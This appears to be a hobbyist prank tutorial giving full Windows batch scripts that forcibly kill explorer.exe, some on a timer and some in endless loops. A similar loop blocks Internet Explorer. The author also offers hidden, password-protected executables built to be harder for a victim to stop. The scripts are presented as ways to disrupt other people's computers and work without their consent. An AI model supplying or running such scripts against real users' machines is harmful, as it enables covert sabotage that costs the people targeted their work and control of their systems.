Love to prank on people by messing up their computer well take a look at this.
This instructable is full of batch programs i wrote and how to annoy the hell out of people

Step 1: The First Prank

This Prank will show you how to close the persons interface which is called explorer in windows.
Press Ctrl+Shift+Esc to open task manager, then click on the processes tab, find explorer in the list and press delete (That Closes the process). Alternatively you could copy one of the texts below into notepad and save it as whatever.bat

echo off
cls
Title Your Doomed !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
echo How long do you want it off for?
set /p Sec=Seconds :
set /p Min=Minites :
set /a Mins=Min "*"60
set /p Hour=Hours :
set /a Hours=Hour "*"3600
set /a Time=Sec"+"Mins"+"Hours
taskkill /f /im explorer.exe
cls
Title DO NOT CLOSE ME !!!!!
echo DO NOT CLOSE ME !!!!!
echo.
echo MINIMIZE ME !!!!!!!!!!
echo.
echo MINIMIZE ME !!!!!!!!!!
ping localhost -n %Time% > nul
start explorer
exit

This script allows you to set a timer before explorer.exe starts again.
Minimize it so the window is nolonger visible.
The other alternative

echo off
cls
:1
taskkill /f /im explorer.exe
ping localhost -n 2.5 >nul
goto 1

This is for users that know about this trick because this stops them from opening it at all (to stop it if you really wanted to,open task manager>process's>CMD close it and it will be back to normal.(better to download the one below hidden and password protected)

:Files Below

Stop Explorer - The code above with administrive manifest and a password ( Password is cow).

Stop Explorer Timer - Very first program with administrive manifest and a password ( Password is cow).

Step 2: No Internet Explorer

This will drive them mad if you pull off this one, especially if they have to work on the internet. Again you have to copy the text below into a notepad document and save it as whatever.bat

echo off
cls
:1
taskkill /f /im iexplore.exe
ping localhost -n 2.5 >nul
goto 1

or alternitivly you could download the file below (It would be better to download the one below because the window is hidden and password protected: pasword is cow). To stop it either restart the computer or open task manager>process's>CMD close it and it will be back to normal

:Files below

Stop internet explorer - The program above in an exe file with a password and adminstrive mainfest (Password is cow).

Internet Explorer Prank - A video of me showing you the effects of this program you can download or watch the video below.

http://www.youtube.com/watch?v=kniCzYTClMU